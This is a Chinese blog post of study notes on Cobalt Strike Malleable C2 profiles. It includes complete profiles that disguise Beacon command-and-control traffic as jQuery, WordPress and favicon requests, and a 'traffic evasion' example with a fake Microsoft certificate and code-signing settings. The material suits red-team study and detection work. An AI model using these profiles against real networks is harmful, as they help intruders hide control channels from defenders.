Malleable C2

前言:Malleable C2编写profile的学习笔记

参考文章:https://github.com/rsmudge/Malleable-C2-Profiles
参考文章:https://www.cobaltstrike.com/help-malleable-c2

什么是Malleable C2

Malleable C2 是 Cobalt Strike 的一项功能,意为 "可定制的" 的 C2 服务器。

Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为

前置知识点:

  • c2lint可以用来检测你的profile配置文件是否有问题,并且指出哪里有问题

  • 所谓的metadata字段实际上就是beacon和服务端之间传输的核心数据,比如里面包括了要返回的控制指令和请求的控制指令等等信息,除了metadata以外的话都是混淆信息

C2配置代码结构

绝大多数的自定义profile都会重写下面三个部分,我这里也只学习这三个部分 http-get http-post http-stager,其他的部分还有几个,这里的话就不讲了,大家可以自行研究

  • http-get

http-get用于自定义数据包去轮询teamserver的任务

  • http-post

http-post用于自定义数据包去向teamserver发送输出

  • http-stager

如何通过http获取远程的阶段载荷,这种情况就是分阶段的payload

  • stage

在获取beacon.dll的时候如何进行解析的配置项,稍微提一下就比如默认的beacon.dll中的导出函数为ReflectiveLoader,如果你指定了transform-x86或者transform-x64中的strrep的话则可以将"ReflectiveLoader"导出名进行替换从而规避检测特征

  • http-config

相当于定义了全局的http字段值

  • https-certificate

定义ssl证书

  • code-signer

在生成Windows Stager Payload and Windows Stageless Payload的情况下给文件进行签名使用

  • dns-beacon

dns的beacon使用的配置条目

  • post-ex

后渗透相关的配置项,比如定义哪个进程作为注入对象配置项等等

http-get

http-get用于轮询teamserver的任务,相当于每次请求都是请求服务端的任务,然后接收返回的数据,运行接收到其中的Task任务来进行执行

这里直接给个如下http-get的例子

http-get {
set uri "/jquery.min.js"; #
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
parameter "ver" "1.2.4";
metadata {
base64;
prepend "token=";
header "Cookie";
}
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "application/javascript; charset=utf-8";
output {
base64;
prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
print;
}
}
}

再看里面的子结构,主要分为ClientServer分别针Beacon对服务端的请求和服务端对Beacon响应的内容

client

再看下其中Client结构中又分为三个部分,headerparametermetadata,都是在自定义http报文

client {
#http报文中的响应头Accept-Language为zh-CN,zh;q=0.9,en;q=0.8,以此类推,就是自定义http报文
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
#其实就是当GET请求的时候,一个端点所带的参数,比如 ?ver=1.2.4 这种,同样是自定义http报文
parameter "ver" "1.2.4";
#base64则指明其中的数据需要进行base64编码
metadata {
#base64则指明其中的数据需要进行base64编码
base64;
#prepend声明前缀是token=,header "Cookie"则声明存储在Cookie字段中
prepend "token=";
#声明存储在Cookie字段中
header "Cookie";
}
}

上述的http-get中传输的情况为如下所示,其中http-get中的set uri字段为Get请求时候的地址

注意:Cobalt Strike中有个C2lint可以帮助我们对配置文件进行检测,./c2lint my.profile,如下图就是http-get部分

除了上述的这些header字段之外,其实还有其他的字段,可以参考下述文章

参考文章:https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm#_Toc65482839

server

以此类推Server结构中的字段也是类似的,同样的自定义header头,然后核心数据输出为base64,数据通过jquery特征来进行混淆

server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "application/javascript; charset=utf-8";
output {
base64;
prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
print;
}
}

这里还会注意到在 http-get请求中 server 和 client大部分都是一样的,但是在 server 中也有不一样的,那么就是output,这里的output可以理解为 GET 请求响应的的部分,可以从上图里面的响应中看出

其中还需要注意的就是print字段,这个字段代表的是数据的结束符,并且声明数据在body体中,除了print为结束符,还有其他的三种,同样可以参考下述文章中的描述

参考文章:https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm#_Toc65482839

http-post

http-post用于向teamserver发送输出,也就是通过http-get请求返回的指令,然后beacon进行执行完通过http-post传输过去执行完的结果

最后还会发现在跟http-get包体比起来,http-post中的client会有outputid这两个部分,那是什么意思呢?

这里需要知道的就是在Beacon在上传执行的数据的时候是需要对应的Task ID(这里的Task ID 可以理解为在你CS中的每个Beacon的编号)的,所以这里的id块正好是针对Task ID的修改

client结构中的output块则是修改通过POST发送的数据,而在server结构中的output块仅仅是用于修改响应内容的!

http-stager

参考文章:https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_http-staging.htm

其实看到官方文档中的描述,跟上面的http-get和http-post其实都差不多,都是自定义下相关的请求字段

其中的话还需要定义下uri_x86和uri_x64,这里需要注意的就是x86和x64不能是一样的,否则通过c2lint校验的时候会报错

而最后的 http-stager是用于stage过程,当Beacon被执行后,会在C2上下载载荷执行,Stage过程,但是Stageless没有这个过程

为什么Stageless没有这有这个过程?顾名思义Stageless是无阶段的意思,所以相关的profile配置信息都被写入到一个exe中,所以在启动的时候也不需要进行外部请求相关资源

HTTP Malleable C2 Profile配置

set sample_name "my";
set sleeptime "5000";
set tcp_port "7001";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36";
http-get {
set uri "/jquery.min.js";
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
parameter "ver" "1.2.4";
metadata {
base64;
prepend "token=";
header "Cookie";
}
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "application/javascript; charset=utf-8";
output {
base64;
prepend "/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */!function(a,b){\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=a.document?b(a,!0):function(a)";
append "var nc=a.jQuery,oc=a.$;return n.noConflict=function(b){return a.$===n&&(a.$=oc),b&&a.jQuery===n&&(a.jQuery=nc),n},b||(a.jQuery=a.$=n),n});";
print;
}
}
}
http-post {
set uri "/wp-admin";
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
header "Cookie" "wordpress_test_cookie=WP+Cookie+check";
id {
base64;
prepend "PHPSESSID=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "text/html; charset=UTF-8";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/favicon1.ico";
set uri_x64 "/favicon2.ico";
client {
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8";
}
server {
header "Server" "Apache/2.4.39 (Unix)";
header "Content-Type" "image/x-icon";
output {
print;
}
}
}

C2所需要注意的地方

1.每个Cobalt Strike实例一次使用一个配置文件,也就是说如果更改配置文件或加载新的配置文件,以前部署的Beacon将无法与你通信

2.在开发数据转换时,请始终了解数据的状态以及协议所允许的内容。例如,如果你对base64进行了元数据编码并将其存储在URI参数中,那么它将无法正常工作。为什么?因为在URL中某些base64字符(+,=和/)具有特殊含义,c2lint工具和Profile Compiler不会检测到此类问题。

3.即使进行很小的更改,也要始终测试你的配置文件。如果Beacon无法与你通信,则可能是你的配置文件profile存在问题。编辑它,然后再试一次。

4.信任c2lint工具。该工具超越了概要文件编译器。这些检查基于该技术的实现方式。如果c2lint检查失败,则说明你的配置文件profile存在实际问题。

参考文章:https://www.chabug.org/web/832.html
参考文章:https://www.cobaltstrike.com/help-malleable-c2


实现流量免杀

继续走,介绍完之后来个简单的应用,比如这篇文章的流量免杀!

文章:https://www.zzhsec.com/556.html

其中的C2配置如下:抽取关键的

#设置证书
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}
#设置
code-signer{
set keystore "zzhsec.store";
set password "123.zzhsec!";
set alias "zzhsec";
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}

抓包分析

这里请求的是http-get,上面已经说过了,http-get中ClientServer分别针Beacon对C2的请求C2对Beacon响应的内容进行修改

http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}

跟踪TCP流

http-post部分

http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urlencoded";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}

接下来再CS上面执行命令shell whoami

通信包:

跟踪TCP流

Beacon向C2发送的数据都是存储在data字段之后,正好跟C2的配置文件相同

C2响应的数据:

posted @   zpchcbd  阅读(1483)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示